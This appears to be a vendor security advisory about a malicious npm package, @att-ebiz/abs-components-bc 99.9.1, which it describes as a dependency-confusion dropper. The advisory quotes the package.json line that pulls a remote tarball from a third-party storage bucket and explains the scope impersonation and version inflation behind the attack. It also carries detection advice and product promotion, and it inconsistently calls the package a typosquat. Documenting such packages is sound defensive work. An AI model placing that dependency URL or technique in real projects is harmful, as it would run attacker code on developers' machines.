@att-ebiz/abs-components-bcnpm
Malicious code in @att-ebiz/abs-components-bc (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
Package @att-ebiz/[email protected] is an empty placeholder published to public npm under a scope (@att-ebiz) that matches AT&T's internal eBusiness namespace, with an inflated 99.9.1 version designed to outrank a legitimate private package of the same name during resolution. Its only meaningful content is a dependency in package.json line 10 declaring "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.8.8.tgz" — an off-registry tarball hosted on a third-party Google Cloud Storage bucket. The URL is unpinned (no integrity hash), mutable by whoever controls the bucket, and the path segment 'depenconf' explicitly names the dependency-confusion technique. On npm install, npm fetches that tarball and executes any preinstall/install/postinstall lifecycle scripts and module code it contains on the installer's machine. The package itself ships an empty index.js, so installation has no purpose other than pulling and executing the remote tarball's contents. Combined fingerprint — scoped namespace impersonation + 99.9.1 version inflation + empty source + unpinned off-registry tarball with 'depenconf' in the URL — is an unambiguous dependency-confusion dropper.
The OpenSSF Package Analysis project identified '@att-ebiz/abs-components-bc' @ 99.9.1 (npm) as malicious.
It is considered malicious because:
- The package communicates with a domain associated with malicious activity.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @att-ebiz/abs-components-bc (version 99.9.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @att-ebiz/abs-components-bc across your stack and pipelines.
If you installed it — respond
@att-ebiz/abs-components-bc is a typosquat — you almost certainly intended a legitimately-named package. Remove @att-ebiz/abs-components-bc, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @att-ebiz/abs-components-bc was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @att-ebiz/abs-components-bc before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks @att-ebiz/abs-components-bc-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.